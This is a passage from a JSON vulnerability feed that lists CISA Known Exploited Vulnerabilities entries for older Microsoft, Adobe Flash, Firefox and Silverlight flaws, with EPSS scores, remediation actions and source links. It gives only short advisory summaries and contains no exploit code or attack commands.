exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2014-4123","cveId":"CVE-2014-4123","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Explorer Privilege Escalation Vulnerability","summary":"Microsoft Internet Explorer contains an unspecified vulnerability that allows remote attackers to gain privileges via a crafted web site.","detail":"CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-25","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer","stacks":["Microsoft","Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-25","dueAt":"2022-06-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.47133,"percentile":0.98826,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2014-4123&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2014-4123","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2014-4123 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2014-4123&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2014-4123, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2014-4148","cveId":"CVE-2014-4148","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Remote Code Execution Vulnerability","summary":"A remote code execution vulnerability exists when the Windows kernel-mode driver improperly handles TrueType fonts.","detail":"CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-25","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-25","dueAt":"2022-06-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.5985,"percentile":0.99125,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2014-4148&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2014-4148","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2014-4148 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2014-4148&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2014-4148, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2014-8439","cveId":"CVE-2014-8439","aliases":[],"kind":"vulnerability","title":"Adobe Flash Player Dereferenced Pointer Vulnerability","summary":"Adobe Flash Player has a vulnerability in the way it handles a dereferenced memory pointer which could lead to code execution.","detail":"CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-05-25","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Flash Player","stacks":["Adobe","Flash Player"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-25","dueAt":"2022-06-15","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.20369,"percentile":0.97469,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2014-8439&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2014-8439","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2014-8439 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2014-8439&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2014-8439, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-0016","cveId":"CVE-2015-0016","aliases":[],"kind":"vulnerability","title":"Microsoft Windows TS WebProxy Directory Traversal Vulnerability","summary":"Directory traversal vulnerability in the TS WebProxy (TSWbPrxy) component in Microsoft Windows allows remote attackers to escalate privileges.","detail":"CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-25","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-25","dueAt":"2022-06-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.75777,"percentile":0.99521,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-0016&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-0016","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-0016 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-0016&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-0016, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-0071","cveId":"CVE-2015-0071","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Explorer ASLR Bypass Vulnerability","summary":"Microsoft Internet Explorer allows remote attackers to bypass the address space layout randomization (ASLR) protection mechanism via a crafted web site.","detail":"CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-25","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer","stacks":["Microsoft","Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-25","dueAt":"2022-06-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.33581,"percentile":0.9837,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-0071&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-0071","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-0071 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-0071&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-0071, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-0310","cveId":"CVE-2015-0310","aliases":[],"kind":"vulnerability","title":"Adobe Flash Player ASLR Bypass Vulnerability","summary":"Adobe Flash Player does not properly restrict discovery of memory addresses, which allows attackers to bypass the address space layout randomization (ASLR) protection mechanism.","detail":"CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-05-25","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Flash Player","stacks":["Adobe","Flash Player"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-25","dueAt":"2022-06-15","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.15097,"percentile":0.9671,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-0310&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-0310","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-0310 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-0310&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-0310, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-1671","cveId":"CVE-2015-1671","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Remote Code Execution Vulnerability","summary":"A remote code execution vulnerability exists when components of Windows, .NET Framework, Office, Lync, and Silverlight fail to properly handle TrueType fonts.","detail":"CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-25","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-25","dueAt":"2022-06-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.48832,"percentile":0.98867,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-1671&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-1671","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-1671 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-1671&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-1671, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-1769","cveId":"CVE-2015-1769","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Mount Manager Privilege Escalation Vulnerability","summary":"A privilege escalation vulnerability exists when the Windows Mount Manager component improperly processes symbolic links.","detail":"CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-25","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-25","dueAt":"2022-06-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04078,"percentile":0.90626,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-1769&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-1769","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-1769 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-1769&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-1769, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-2360","cveId":"CVE-2015-2360","aliases":[],"kind":"vulnerability","title":"Microsoft Win32k Privilege Escalation Vulnerability","summary":"Win32k.sys in the kernel-mode drivers in Microsoft Windows allows local users to gain privileges or cause denial-of-service (DoS).","detail":"CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-25","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Win32k","stacks":["Microsoft Windows","Microsoft","Win32k"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-25","dueAt":"2022-06-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.1484,"percentile":0.96668,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-2360&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-2360","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-2360 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-2360&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-2360, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-2425","cveId":"CVE-2015-2425","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Explorer Memory Corruption Vulnerability","summary":"Microsoft Internet Explorer contains a memory corruption vulnerability that allows remote attackers to execute code or cause denial-of-service (DoS).","detail":"CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-25","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer","stacks":["Microsoft","Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-25","dueAt":"2022-06-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.44727,"percentile":0.98762,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-2425&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-2425","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-2425 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-2425&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-2425, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-4495","cveId":"CVE-2015-4495","aliases":[],"kind":"vulnerability","title":"Mozilla Firefox Security Feature Bypass Vulnerability","summary":"Moxilla Firefox allows remote attackers to bypass the Same Origin Policy to read arbitrary files or gain privileges.","detail":"CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-25","updatedAt":null,"regions":["Global"],"vendor":"Mozilla","product":"Firefox","stacks":["Mozilla Firefox and Thunderbird","Mozilla","Firefox"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-25","dueAt":"2022-06-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.68558,"percentile":0.99333,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-4495&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-4495","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-4495 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-4495&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-4495, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-6175","cveId":"CVE-2015-6175","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Kernel Privilege Escalation Vulnerability","summary":"The kernel in Microsoft Windows contains a vulnerability that allows local users to gain privileges via a crafted application.","detail":"CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-25","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-25","dueAt":"2022-06-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.05325,"percentile":0.92556,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-6175&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-6175","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-6175 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-6175&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-6175, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-8651","cveId":"CVE-2015-8651","aliases":[],"kind":"vulnerability","title":"Adobe Flash Player Integer Overflow Vulnerability","summary":"Integer overflow in Adobe Flash Player allows attackers to execute code.","detail":"CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-05-25","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Flash Player","stacks":["Adobe","Flash Player"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-25","dueAt":"2022-06-15","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.67698,"percentile":0.9931,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-8651&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-8651","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-8651 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-8651&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-8651, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-0034","cveId":"CVE-2016-0034","aliases":[],"kind":"vulnerability","title":"Microsoft Silverlight Runtime Remote Code Execution Vulnerability","summary":"Microsoft Silverlight mishandles negative offsets during decoding, which allows attackers to execute remote code or cause a denial-of-service (DoS).","detail":"CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted products are end-of-life and should be disconnected if still in use.","publishedAt":"2022-05-25","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Silverlight","stacks":["Microsoft","Silverlight"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-25","dueAt":"2022-06-15","action":"The impacted products are end-of-life and should be disconnected if still in use.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.69397,"percentile":0.99355,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-0034&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-0034","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-0034 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-0034&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-0034, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-0984","cveId":"CVE-2016-0984","aliases":[],"kind":"vulnerability","title":"Adobe Flash Player and AIR Use-After-Free Vulnerability","summary":"Use-after-free vulnerability in Adobe Flash Player and Adobe AIR allows attackers to execute code.","detail":"CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted products are end-of-life and should be disconnected if still in use.","publishedAt":"2022-05-25","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Flash Player and AIR","stacks":["Adobe","Flash Player and AIR"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-25","dueAt":"2022-06-15","action":"The impacted products are end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.54544,"percentile":0.99009,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-0984&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-0984","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-0984 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS 